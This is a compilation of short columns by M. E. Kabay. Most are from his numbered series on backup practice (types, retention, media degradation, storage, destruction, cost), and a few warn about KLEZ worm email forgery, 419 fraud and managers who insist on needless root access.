Fundamental Types

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the eighth in a series of short articles reviewing the theory and practice of making backups.

* * *

Backups can include different amounts and kinds of data, as described in the following list:

* _*Full*_ backups store a copy of everything that resides on the mass storage of a specific system. To restore a group of files from a full backup, the operator mounts the appropriate volume of the backup set and restores the file in a single operation.

* _*Differential*_ backups store all the data that have changed since a specific date or event; typically, a differential backup stores everything that has changed since the last full backup. The number of volumes of differential backups can increase with each additional backup. To restore a group of files from a differential backup, the operator needs to locate the latest differential set and also the full backup upon which it is based to ensure that all files are restored.

* _*Incremental*_ backups are a more limited type of differential backup that typically stores everything that has changed since the previous full or incremental backup. As long as multiple backup sets can be put on a single volume, the incremental backup requires fewer volumes than a normal differential backup for a given period. To restore a set of files from incremental backups, the operator may have to mount volumes from all the incremental sets plus the full backup upon which they are based.

* _*Delta*_ backups store only the portions of files that have been modified since the last full or delta backup; delta backups are a rarely-used type more akin to logging than to normal backups. Delta backups use the fewest backup volumes of all the methods listed; however, to restore data using delta backups, the operator must use special-purpose application programs and mount volumes from all the delta sets plus the full backup upon which they are based.

Another aspect of backups is whether they include all the data on a system or only the data particular to specific application programs or groups of users:

* _*System*_ backups copy everything on a system;

* _*Application*_ backups copy the data needed to restore operations for particular software systems.

In addition to these terms, one often hears operators and users refer to _*daily*_ and _*partial*_ backups. These terms are ambiguous and should be defined in writing when setting up procedures.

In the next article, we'll look at backup strategies for mainframes and servers.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. He invites inquiries about his information security and operations management courses and consulting services.

Backups (11):
Retention and Rotation

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the eleventh in a series of short articles reviewing the theory and practice of making backups.

* * *

Backup Archives, Maintenance and Retention

Having created a backup set, what should one do with it? The first thing to do is to test the readability of the data. Modern backup software automatically verifies the readability of backups; this functionality must not be turned off. When preparing for any operation that destroys or may destroy the original data, one should make two independent backups of critical data; it is unlikely that exactly the same error will occur in both copies of the backup. Such dangerous activities include partitioning disk drives, physical repair of systems, moving disk drives from one slot or system to another, and installation of new versions of the operating system.

Retention Policies

One of the obvious reasons to make backup copies is to recover from damage to files; however, there are also legal and business requirements for data storage and retention. For example, certain jurisdictions require seven years of business data to be available for audits by regulatory or taxation agencies. The corporate legal staff may advise retention of certain data for even longer periods as support for claims of patent rights or if litigation is envisaged. In all cases, the combination of business and legal requirements necessitates consultation outside the data processing department; decisions on data retention policies must involve more than technical resources.

The probability that a backup will be useful declines with time. The backup from yesterday is more likely to be needed than the same kind of backup from last week or last month. On the other hand, each backup contains copies of files which were changed in the period covered by that backup but which may have been deleted since the backup was made. Data center policies on retention vary because of perceived needs and experience as well as in response to the business and legal demands mentioned in the first paragraph of this section. The following gives a sample policy to illustrate some of the possibilities in creating retention policies:

* Keep daily backups for one month.

* Keep the end-of-week backups for three months.

* Keep the end-of-month backups for 5 years.

* Keep the end-of-year backups for 10 years.

Rotation

Re-using backup volumes makes economic and functional sense. In general, when planning a backup strategy, different types of backups may be kept for different lengths of time, as suggested in section 41.4.1. To ensure even wear on media, volumes should be labeled with the date on which they are returned to a storage area of available media and used in order of recovery (first in, first out). Whenever possible, newer media should be reserved for backup volumes destined for longer retention. An expiry date should be stamped on all tapes when they are acquired so that operations staff will know when to discard out-dated media.

In the next article in this series, we'll look at media degradation.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. He invites inquiries about his information security and operations management courses and consulting services.

Backups (10):
Workstations, Portables and Handhelds

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the tenth in a series of short articles reviewing the theory and practice of making backups.

* * *

Workstations

Individual workstations pose special challenges for backup. Although software and backup media are readily available for all operating systems, the human factor interferes with reliable backup. Users are typically not focused on their computing infrastructure; taking care of backups is not a high priority for busy professionals. Even technically-trained users who ought to know better sometimes skip their daily backups; many novice or technically-unskilled workers do not even understand the concept of backups.

If the workstations are connected to a network, there are automated centralized backup software utilities that can protect all the users' files; however, with user disk drives in the many GB of storage (at the time of writing, new PCs were being sold with 30 GB of disk as an unremarkable capacity) and the popularity of large files such as pictures and videos, storing the new data (let alone the full system) for hundreds of workstations can consume TB of backup media and saturate limited bandwidths (it takes a minimum of 291 hours to transfer 1 TB over a communications channel running at 1 MB/sec). There are also privacy issues in such centralized backup if users fail to encrypt their hard disks.

Portable Computers

Portable or laptop computers are sometimes the only computer a user owns or is assigned; in other cases, the portable computer is an adjunct to a desktop computer. Laptop computers that are the primary system must be treated like workstations. Portables that are used as adjuncts – for example, when traveling – can be backed up separately or they can be synchronized with the corresponding desktop system.

Synchronization software (e.g., the well-known LapLink product) offers a number of options to meet user needs; e.g.,

* A variety of hardwired connection methods, including cables between serial ports, parallel ports, SCSI ports and USB ports.

* Remote access protocols allowing users to reach their computer workstations via modem or through TCP/IP connections via the Internet to ensure synchronization or file access.

* Cloning, which duplicates the selected file structure of a source computer onto the target computer; cloning deletes files from the target which are not found on the source.

* Filtering, which prevents specific files or types of files from being transferred between computers;

* Synchronization, in which all changes on the source computer(s) are replicated onto the target computer(s). One-way synchronization updates the target only; two-way synchronization makes changes to both the target and the source computers.

* Compression and decompression routines to increase throughput during transfers and synchronizations.

* Data comparison functions to update only those portions of files which are different on source and target; for large files, this feature raises effective throughput by orders of magnitude.

* Security provisions to prevent unauthorized remote access to user computers.

* Log files to record events during file transfers and synchronization.

In addition to making it easier to leave the office with all the right files on one's hard disk, synchronization of portable computers has the additional benefit of creating a backup of the source computer's files. My practice, for example, is to make a daily backup of my desktop system onto two separate disks (a ZIP 100 MB and a JAZ 2 GB) and synchronize my portable computer every morning before I head off to the University. Then in the evening I synchronize my main computer to keep everything in synch (no, not the rock band).

Handheld Computers

Another area that is often overlooked is handheld computers (Palm, Psion, Handspring Visor, RIM Blackberry, daVinci, Helio, HP200LX, Newton/eMate, Rex, Zaurus, Smart Phones, Smart Pagers. PocketMail). These PDAs often contain critically important information for their users, yet not everyone realizes the value of making regular backups. Luckily, synchronizing a PDA with a workstation also makes a backup on the workstation's disk. Security managers would do well to circulate an occasional reminder to users to synchronize or backup their PDAs to prevent data loss should they lose, step on, sit on, or soak their accessory brain. Some PDA docking cradles have a prominent button which allows instant activation of synchronization, which takes only a minute or two.

In the next article, we'll look at backup retention and rotation policies.

Frauds and Hoaxes:
Social Engineering by KLEZ

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In recent months, malicious software and hoaxsters have been increasing the level of social engineering via e-mail. This column is the first of two that will serve to alert your network users of some of the more flagrant abuses of e-mail that have been increasing lately.

* * *

The KLEZ worm has become the number-one type of malware circulating on the Net today. Now, we know that many worms have been using misleading subject lines for years; I suppose a non-misleading subject line would be "This message contains a worm" but that wouldn't go far in helping to spread the malware, would it?

KLEZ goes one worse: it forges the SMTP header so that the message appears to come from a user other than the real victim. This social-engineering trick means that KLEZ is causing havoc among naïve users who aren't aware of the problem. These victims assume that the infected file is coming from whichever e-mail address is listed in the FROM field and thus send helpful (or irritated, or abusive) e-mail to someone whose only connection may be that his or her e-mail address was in the address book on someone else's infected computer. In other words, tell your users not to trust the FROM line in any e-mail message that includes an attachment. (Those of you interested in identifying forged headers can use SamSpade from < http://www.samspade.org >.) And of course, as usual, remind everyone in your network that they must absolutely not open attachments that they are not explicitly expecting for a specific reason. (OK, I know, it's really _executable_ attachments, but that includes so many file types that it's not worth going into with non-technical users.)

The obverse is that users should let their correspondents know in advance if they are sending an attachment OR they should use a digital signature on all their e-mail so that the authenticity of everything ostensibly from their address can be verified. There are no worms that can successfully sign an e-mail using a digital signature (yet).

One of the best descriptions of the situation that I have seen is an article by Michelle Delio in Wired < http://www.wired.com/news/technology/0,1282,52055,00.html >. You can also type "Klez worm" into a search engine for scads of other entries concerning this worm.

* * *

KLEZ is also using e-mail distribution lists as a vector. Some list managers are finding that KLEZ-infected messages have been spreading through their unmoderated lists or _appear_ to be coming from their list. Recipients of the worm then bombard the list with complaints, which sometimes get amplified out to the entire list, causing mailstorms.

Remember, if you are managing an e-mail distribution list, be sure that the REPLY-TO address on output from the list is _not_ the same as the posting address. Unfortunately, because the posting address is likely to be stored in address books, KLEZ may get access to it for its forgeries and for its destination, so even this measure won't stop the mayhem. However, consider converting your unmoderated list into a moderated list, possibly by recruiting volunteers who can help in the task of vetting every message before it is posted to all members. At least then you'll be able to catch the worm's attempts to spread via your list and also stop amplification of complaints.

Frauds and Hoaxes:
4-1-9 Redux

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the second of two short articles about hoaxsters abusing their victims' good faith via e-mail. It ends with some suggestions on software installation policies.

* * *

I can't tell if it's just me, but the number of Nigerian 4-1-9 fraud letters I'm receiving has been growing to the point where I receive at least one pathetic letter per day telling me about how some creep in a developing country (Nigeria, Ghana, Mozambique, to name a few) has found or inherited a huge cache of illicit money skimmed off from the starving masses. In return for my revealing full details of my name, contact information and bank account details (yeah, right!), these self-avowed criminals will transfer amounts such as $50 million into my very own personal bank account and then move it out in a money-laundering scheme. I will supposedly benefit by keeping some large percentage (10%, 20%) of this stolen money. The scam is generally referred to as a 4-1-9 because of the applicable Nigerian laws governing fraud.

First off all, only an astonishing gullible person would give anyone, let alone a _self-avowed embezzler_, details of their bank account. Second, only a larcenous twit would actually send anyone money for the fees and bribes demanded by the fraud artists – yet thousands of people have actually fallen for this scam, which has been around for over 20 years. A few American victims have spent up to tens of thousands of dollars on the illusory ill-gotten gains; a very few have traveled to Nigeria (in particular) and promptly been kidnapped and held for ransom. For more information about this nonsense, see the "419 Coalition Website" at < http://home.rica.net/alphae/419coal/ > where you and your users can find a concise description of the fraud and an extensive list of links for further details. The FBI also has a number of informative pages on the scam; e.g., < http://www.fbi.gov/contact/fo/nyfo/fraudalert.htm#nigerian >.

* * *

A quick word about a KLEZ-related hoax that has been circulating lately: Some vile human being has written a convincing e-mail message that claims to have an anti-KLEZ program attached to it and appears to come from Kaspersky Labs, a well-known antivirus company. The subject line of the message is, "You're under a serious threat!" and the text reads, "Kaspersky Labs urging users to take the necessary measures to protect themselves against the mounting threat from the latest version of the Internet-worm Klez, most users lightly regarded the problem of securing their personal data, resulting in a global Internet virus epidemic. Over the past several days our technical support services have received over twelve thousand inquiries concerning Klez Internet worm infections." As you can guess, the message is a lie; the attached file is actually a remote-access Trojan (RAT) called Smokedown. For full details see < http://www.kaspersky.com/news.html?tnews=20146&id=700915 >.

* * *

In general, it's preferable to install software on your users' computers using direct installation (physically at the system) if numbers allow this or using automated installation methods for computers with persistent intranet access. An alternative is to post digitally-signed executables on your intranet rather than using e-mail. If you do choose to send executables by e-mail, (1) send out a notice announcing that the software will be arriving; and (2) warn your users that you will _never_ distribute a copy of an executable by e-mail without a digital signature that can be verified.

* * *

Check out the new _Computer Security Handbook, 4th Edition_ edited by Seymour Bosworth and Michel E. Kabay; Wiley (New York), ISBN 0-4714-1258-9. Available now at your technical bookstore or from Amazon < http://www.amazon.com/exec/obidos/ASIN/0471412589 > and Barnes & Noble < http://shop.barnesandnoble.com/textbooks/booksearch/isbninquiry.asp?isbn=0471412589 >.

Backups (12):
Media Degradation

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the twelfth in a series of short articles reviewing the theory and practice of making backups.

* * *

Media Longevity and Technology Changes

For short-term storage, there is no problem ensuring that stored information will be usable. Even if a software upgrade changes file formats, the previous versions are usually readable. In a year, technological changes such as new storage formats will not make older formats unreadable.

Over the medium term, up to five years, difficulties of compatibility do increase, although not catastrophically. There are certainly plenty of five-year old systems still in use, and it is unlikely that this level of technological inertia will be seriously reduced in the future.

Over the longer term, however, there are serious problems to overcome in maintaining the availability of electronic records. Over the last ten to twenty years, certain forms of storage have become essentially unusable.

As an example, AES was a powerful force in the dedicated word-processor market in the 1970s; eight-inch disks held dozens or hundreds of pages of text and could be read in almost any office in North America. By the late 1980s, AES had succumbed to word-processing packages running on general-purpose computers; by 1990, the last company supporting AES equipment closed its doors. Today, it would be extremely difficult to recover data from AES diskettes.

The problems of obsolescence include data degradation, software incompatibilities and hardware incompatibilities.

Media Degradation

Magnetic media degrade over time. Over a period of a few years, thermal disruption of magnetic domains gradually blurs the boundaries of the magnetized areas, making it harder for I/O devices to distinguish between the domains representing ones and those representing zeroes. These problems affect tapes, diskettes and magnetic disks and cause increasing parity errors. Specialized equipment and software can compensate for these errors and recover most of the data on such old media.

Tape media suffer from an additional source of degradation: the metal oxide becomes friable and begins to flake off the Mylar backing. Such losses are unrecoverable. They occur within a few years in media stored under inadequate environmental controls and within five to ten years for properly-maintained media. Regular regeneration by copying the data before the underlying

medium disintegrates prevents data loss.

Optical disks, which use laser beams to etch bubbles in the substrate, are much more stable than magnetic media. Current estimates are that CD-ROMs, CD-RW and DVD disks will remain readable in theory for at least a decade and probably longer. However, they will remain readable in practice if and only if future optical-storage systems include backward compatibility.

In the next article in this series, we'll look at the implications of technological change for long-term archives.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. He invites inquiries about his information security and operations management courses and consulting services.

Backups (13):
Technological Change

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the thirteenth in a series of short articles reviewing the theory and practice of making backups.

* * *

Software Changes

Software incompatibilities include the application software and the operating system.

The data may be readable, but will they be usable? Manufacturers provide backward compatibility, but there are limits. For example, MS-Word 2000 can convert files from earlier versions of Word—but only back to version 4 for Windows. Over time, application programs evolve and drop support of the earliest data formats. Database programs, E-mail, spreadsheets—all of today's and tomorrow's versions may have trouble interpreting data files correctly.

In any case, all conversion raises the possibility of data loss since new formats are not necessarily supersets of old formats. For example, in 1972, RUNOFF text files on mainframe systems included instructions to pause a daisy-wheel impact printer so the operator could change daisy wheels—but there was no requirement to document the desired daisy wheel. The operator made the choice. What would document conversion do with that instruction?

Even operating systems evolve. Programs intended for Windows 3.11 of the early 1990s do not necessarily function on Windows ME in the year 2000. And the operating systems of yesteryear do not necessarily even run on today's hardware.

Finally, even hardware eventually becomes impossible to maintain. It would be extremely difficult to retrieve and interpret data from word-processing equipment from even twenty years ago. No one outside museums or hobbyists can read an 800 bpi 9-track ¾-inch magnetic tape from a 1980 HP3000 Series III minicomputer. Over time, even such parameters as electrical power attributes may change, making obsolete equipment difficult to run even if they can be located.

The most robust method developed to date for long-term storage of data is COM (Computer Output to Microfilm). Documents are printed to microfilm, appearing exactly as if they had been printed to paper and then micro-photographed. Storage densities are high, storage costs are low, and in the worst case, the images can be read with a source of light and a simple lens.

In the next article in this series, we'll look at temporarily storing backups onsite.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information

Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. He invites inquiries about his information security and operations management courses and consulting services.

Backups (16):
Data Vaults and Online Backups

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the sixteenth in a series of short articles reviewing the theory and practice of making backups.

* * *

Data Vaults

Most enterprises will benefit from contracting with professional, full-time operations specializing in maintaining archives of backup media. Some of the key features to look for in evaluating such facilities include

* Storage facilities made of concrete and steel construction to reduce risk of fire.

* No storage of paper documents in the same building as magnetic or optical media storage.

* Full air-conditioning including humidity, temperature and dust controls throughout the storage vaults.

* Fire sensors and fire retardant technology, preferably without the use of water.

* Full time security monitoring including motion detectors, guards, and tightly controlled access.

* Uniformed, bonded personnel.

* Full time, 24 x 7 x 365 data pickup and delivery services.

* Efficient communications with procedures for authenticating requests for changes in the lists of client personnel authorized to access archives.

* Evidence of sound business planning and stability.

References from customers similar in size and complexity to the enquiring enterprise will help manager make a wise choice among alternative suppliers.

Online Backups

An alternative to making one's own backup copies is to pay a third party to make automatic backups via high-speed telecommunications channels and to store the data on behalf of customers. Some of the firms involved in these services move data to magnetic or optical backup volumes, but others use RAID (ganged disks) for instant access to the latest backups.

Additional features to look for when evaluating online backup facilities:

* Compatibility of backup software with computing platform, operating system and application programs.

* Availability of different backup options (full, differential, incremental, delta).

* Handling of open files.

* Availability and costs of sufficient bandwidth to support desired data backup rates.

* Encryption for data during transmission and when stored at service facility.

* Strong access controls to limit access to stored data to authorized personnel.

* Physical security at the storage site and other criteria similar to those for data vaults.

In the next article in this series, we'll start looking at disposal of discarded backup media.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. He invites inquiries about his information security and operations management courses and consulting services.

Backups (14):
Onsite Storage

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the fourteenth in a series of short articles reviewing the theory and practice of making backups.

* * *

It is obviously foolish to keep backups in a place where they are subject to the same risks of destruction as the computer systems they are intended to protect. However, unless one uses a remote location for making backups through telecommunications channels, all backups must spend at least some time in the same location as the systems that are being backed up.

At a minimum, backup policies should stipulate that backups are to be removed to a secure, relatively distant location as soon as possible after completion. Temporary onsite storage areas that may be suitable for holding backups until they can be moved offsite include specialized fire-resistant media storage cabinets or safes, secure media-storage rooms in the data center, a location on a different floor of a multi-floor building, or an appropriate location in a different building of a campus. What is _*not*_ acceptable is to store backup volumes in a cabinet right next to the computer that was backed up. Even worse is the unfortunate habit of leaving backup volumes in a disorganized heap on top of the computer from which the data were copied.

In a small office, backups should be kept in a fire-resistant safe if possible while waiting to take the media somewhere else.

Environmental Protection

Magnetic and optical media can be damaged by dust, mould, condensation, freezing, and excessive heat. All locations considered for storage of backup media should conform to the media manufacturer's environmental tolerances; typical values are 40-60% humidity and temperatures of ~50-75 F (~10-25 C). In addition, magnetic media should not be stacked horizontally in piles; the housings of these devices are not built to withstand much pressure, so large stacks can cause potentially damaging contact between the protective shell and the data storage surface. Electromagnetic pulses and magnetic fields are also harmful to magnetic backup media; keep mobile phones (both wireless and cellular) away from magnetic media. If the organization uses degaussers to render data more difficult to read before discarding data these devices should never be allowed into an area where magnetic media are in use or stored.

In the next article in this series, we'll start looking at options for offsite storage of backups.

Backups (18):
Destroying Data and Media

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the eighteenth in a series of short articles reviewing the theory and practice of making backups.

* * *

Most people know that when a file is erased or purged from a magnetic disk, operating systems usually leave the information entirely or largely intact but remove the pointers from the directory. For example, DOS and Windows obliterates the first character of an erased file with a random character and removes its entries from the FAT (file allocation table). _*Unerase*_ utilities search the disk or diskette and reconstruct the chain of *extents* (areas of contiguous storage), usually with human intervention to verify that the data are still good.
Multiuser operating systems remove pointers from the disk directory and returns all sectors in a purged file to a disk free-space map, but the data in the original extents persist unless specific measures are taken to obliterate them.

Formatting a disk actually zeroes diskettes and hard disks; however, even formatting and overwriting data on magnetic media may not make the data unreadable to the most sophisticated equipment. Since information on magnetic tapes and disks resides in the difference in intensity between highly-magnetized areas (1s) and less-magnetized areas (0s), writing the same thing (0s or 1s) in all areas of the obliteration merely reduces the signal-to-noise ratio. That is, the residual magnetic fields still vary in more or less the original pattern—they're just less easily distinguished. Using highly sensitive readers, a magnetic tape or disk that has been zeroed will still yield much of the original information. Degaussers (portable electromagnets) are of limited use in making data unreadable.

One way of destroying data on magnetic media is to overwrite several passes of random patterns. The random patterns make it far more difficult to extract useful information from the discarded disks and tapes. Military-grade erasure programs use seven passes to obliterate data remanence.

Another solution is physical destruction of magnetic or optical backup media before they are discarded. For end-user departments, operations and security can provide identifiable secure collection receptacles (typically black) throughout the enterprise. Discarded media can be erased or destroyed by appropriate staff on a regular schedule.

Hard disks, tapes, optical disks and floppy disks can be cut into pieces, melted with oxy-acetylene torches, crushed in large compactors and incinerated (although proper incineration requires specialized equipment to prevent atmospheric release of toxic byproducts). Some commercial companies specialize in secure destruction of sensitive records and can provide bonded pickup services or mobile destruction units that move from enterprise to enterprise on a regular schedule and handle paper as well as magnetic and optical media.

In the next article in this series, we'll look at calculating the costs of backup strategies.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. Backups (15):
Homes, Safes and Banks

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the fifteenth in a series of short articles reviewing the theory and practice of making backups.

* * *

It is normal to store backups away from the computers and buildings where the primary copies of the backed-up data reside.

Care During Transport

When sending backup media out for storage, operations staff should use lockable carrying cases designed for specific media. If external firms specializing in data storage pick up media, their staff will usually supply such cases as part of the contract. If media are being transported by corporate staff, it is essential to explain the dangers of leaving such materials in a car: in summertime the cars can get so hot that they melt the media, whereas in winter they can get so cold that the media instantly attract harmful water condensation when they are brought inside. In any case, leaving valuable data in an automobile is asking for theft.

Homes

The obvious but dangerous choice for people in small offices is to send backup media to the homes of trusted employees. This practice is a very bad idea:

Although the employee may be trustworthy, members of that person's family may not be so. Especially where teenaged and younger children are present, keeping an organization's backups in a private home poses serious security risks.

Environmental conditions in homes may be incompatible with safe long-term storage of media. For example, depending on the cleaning practices of the household, storing backups in a cardboard box under the bed may expose the media to dust, insects (e.g., bed-mites), cats, dogs, pet rodents and damage from vacuum cleaners.

In addition, temperature and humidity controls may be inadequate for safe storage of magnetic media.

Homeowner's insurance policies are unlikely to cover loss of an employer's property and will surely not cover consequential losses resulting from damage to crucial backup volumes.

Legal requirements for demonstrable chain of custody of corporate documentation on backup volumes will not be met if the media are left lying around a private home where unknown persons may have access to them.

Safes

There are no fire-proof safes, only fire-resistant safes. Safes are available with different degrees of guaranteed resistance to specific temperatures commonly found in ordinary fires (those not involving arson and flame accelerants). Sturdy small (one or two cubic foot) safes are available for use in small offices or homes and can withstand the relatively short time required to burn a house or small building down. They can withstand a fall through one or two floors without breaking open. However, for use in taller buildings, only more expensive and better-built safes are appropriate to protect valuable data.

In the next article in this series, we'll look at data vaults and online backups.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. Backups (17):
Scavenging

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the seventeenth in a series of short articles reviewing the theory and practice of making backups.

* * *

Before throwing out backup media containing unencrypted sensitive information, operations and security staff should ensure that the media are unreadable. This section looks at the problem of data scavenging and then recommends methods for preventing such unauthorized data recovery.

Scavenging

Computer crime specialists have described unauthorized access to information left on discarded media as scavenging, browsing, and Dumpster-diving (from the trademarked name of metal bins often used to collect garbage outside office buildings).

Scavenging is probably the third most important method of computer crime; the first two are data diddling and unauthorized use of computer services.

Scavenging can take place within an enterprise; for example, there have been documented cases of criminals who arrange for requests to read *scratch tapes* (tapes that are used for temporary storage of data) before they read them. These people were prospecting for tidbits of data left by previous users. Operations policies should not allow scratch tapes or other media to contain confidential data; all scratch media (including backup media that are being returned to the free list) should be erased them before they are put on the media rack.

Before deciding to toss potentially valuable documents or backup media into the garbage can, managers should realize that in the United States, discarded garbage is not considered private property under the law, according to a U.S. Supreme Court ruling. Anything that is thrown out is fair game for warrantless searches or inspection by anyone who can gain access to the garbage without violating laws against physical trespass. Readers in other jurisdictions should obtain legal advice on the applicable statutes.

Under these circumstances, the only reasonable protection against data theft is to make the garbage unreadable.

In the next article in this series, we'll look at destroying backup data media.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. He invites inquiries about his information security and operations

Backups (19):
Cost

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the nineteenth in a series of short articles reviewing the theory and practice of making backups.

* * *

All data center managers should be able to answer questions about the costs of the backups being made on their systems. In calculating costs, the following factors should be included in a simple spreadsheet (the example uses tapes as the example of backup medium):

- Tape costs
    - Tapes/backup
    - Purchase cost/tape
    - Storage cost/tape (including cost of tape rack and cost of owning or renting floor space)
    - Tape cost/backup (total cost * number of tapes)
    - Backup cycles saved (current week, end of week, end-of-week set, month-end set, year-end set
    - Cost of all tapes (sets * total cost)
- Time costs
    - Hour/tape for backup
    - Hour/backup total
    - Cost/hour for operator (salary + benefits)/hour
    - System cost/month (purchase, finance, maintenance, floor space, electricity, air conditioning, insurance, system management services, software licenses and maintenance)
    - Days used per month
    - Hour/day availability
    - Cost/hour system
    - Time cost/hour backup

- Total cost/backup (tapes + time)
- Annualized costs
    - Backups/year
    - Total backup hours/year
    - Time cost/year
- Total investment/year (tape costs + time costs)

This detailed information will be invaluable in answering management questions about backup policies and their rationale.

In the next article in this series, we'll look at optimizing the frequency of backups.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. He invites inquiries about his information security and operations management courses and consulting services.

Backups (20):
Optimizing Frequency

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the twentieth and last in a series of short articles reviewing the theory and practice of making backups.

* * *

Suppose a manager asks the security and operations staff the following questions:

“If backups are so important that you do a daily full backup, why don’t you do a full backup twice a day?”

“If taking a daily full backup is good enough for you, why don’t you save money by doing a full backup only every other day?”

To answer such questions, managers must be able to adjust the frequency of backups to the perceived risk. One of the ways of approaching a rational allocation of resources when faced with random threats is to calculate the *_expected value_* of a strategy. The expected value is the average gain (if it's a positive quantity) or loss (if it's negative) that participants will incur in a process that involves random events. When this technique applies to losses over an entire year, it is called the *_annualized loss expectancy_*. This approach is used by insurance companies to balance the costs of premiums against the disbursements to customers.
For backups, the principle is summarized by the following equation:

$$E(x) = P(u)*C(u) - P(n) *C(n)$$

where

* x is some particular strategy such as doing a daily full backup

* E(x) is the expected value or cost of the strategy

* P(u) is the probability of having to use the backup within a single day; e.g., 1 chance in a 1000 or 0.001

* C(u) is the money saved by not having to redo all the work that would otherwise be lost if there were no backup; e.g., the cost of paying for reconstruction of the previous day's data (e.g., $9,000) + avoidance of lost business, wasted salary and other expenses during 3 hours of downtime during reconstruction (e.g., $30,000) for a savings of $39,000 per incident when the backups are available

* P(n) is the probability of not having to use the backups at all in given day = 1 - P(y) = 0.999

* C(n) is the cost of doing and storing a daily backup that won’t be used (e.g., $50).

Then the expected value of doing a single daily full backup using the figures used in the examples above is

E(x) = (0.001 * $39,000) - (0.999 * $50) = $39 - $49.95 = -$10.95.

In other words, the daily full backup has an average cost of about $11 per day when the likelihood of its use is factored into the calculations. This is equivalent to a self-insurance strategy to prevent larger disasters by investing money in preventive mechanisms and measures for rapid and less expensive recovery than possible without the backups.

If one adjusts the frequency of backups, the calculated loss expectancy can be forced to zero or even to a positive number; however, no self insurer makes a profit from loss avoidance measures. Nonetheless, adjusting the frequency and costs of backup strategies using the suggested factors and calculation of loss expectancies can help a data center manager to answer questions from management about backup strategies in a rational manner.

Unfortunately, no one can actually estimate precisely how much a disaster costs nor compute precise probabilities of having to use backups for recovery.

In many organizations, the volume of changes follows a seasonal pattern. For example, 80% of all orders taken might come in two two-month periods spaced half a year apart. Registration for colleges occurs mostly in the autumn, with another bulge in January. Boat sales and ski sales follow seasonal variations. Despite this obvious variability, many organizations follow the same backup schedule regardless of date. It makes sense to adjust the frequency of backups to the volatility of data: operations can schedule more frequent backups when there are lots of changes and fewer when the data are relatively stable.

Access and Ego

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

One of the most troubling areas of information security is dealing with recalcitrant upper managers. I was sitting with a colleague in a class a while ago and heard a story that may send shivers up the back of any network security administrator.

My colleague -- let's call her Amy -- was the security manager at a major financial institution. She discovered that one of the managers from the accounting department had root access on the production systems for which she was responsible. Readers of this column will already know that no production systems should be accessible to anyone who does not need total control over that systems as part of their official responsibilities. Even within the production department, only a few people should ever have root access. In addition, one of the fundamental principles of security, whether for financial systems or for computers and networks, is the separation of duties. An accounting department manager with root access could easily initiate transactions and force them through production databases without supervision or detection.

Amy immediately went to talk to the accounting manager. Her normal strategy when dealing with anomalies was to assume that there must be a good reason for the situation and to investigate with an open mind. In contrast to some security managers I have known, Amy knew that adopting a hostile or authoritarian attitude would only cause resistance and resentment among her colleagues. Unfortunately, resistance and resentment where the immediate responses from the accounting manager. This man believed that having access to root was symbolic of his importance and power within the organization. He instantly took umbrage at Amy's questions and told her that he had no intention of giving up his root access or even of discussing the question further with her. Worse still, it turned out that this manager was the son of the CEO. He said that he would have Amy fired if she took away his root privilege.

If Amy succumbed to the threat, she would lose all credibility within the organization. If she challenged the abuse of power, she might get fired. Amy did the best thing she could under the circumstances: she removed the unwarranted root privileges at once and went directly to the CEO to discuss the situation. To her relief, the CEO supported her 100 percent. She never had any further conflict with the CEO's son; one can only imagine what the conversation was like between father and son.

This story illustrates an important principle: one must not confuse access with status. The CEO's son, for reasons unknown to the security manager, seemed to believe that his personal worth was bound up with his unnecessary access to system resources. Anytime this confusion occurs, it presents the potential for danger to the organization and conflict with fundamental principles of security.

I hope that this anecdote will help network managers reach their colleagues who still think that carrying the modern equivalent of a universal master key announces how valuable they are to the organization.

It's time to shred the illusions about worth, ego and access.

Resources for Analyzing the September 11 Attacks

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

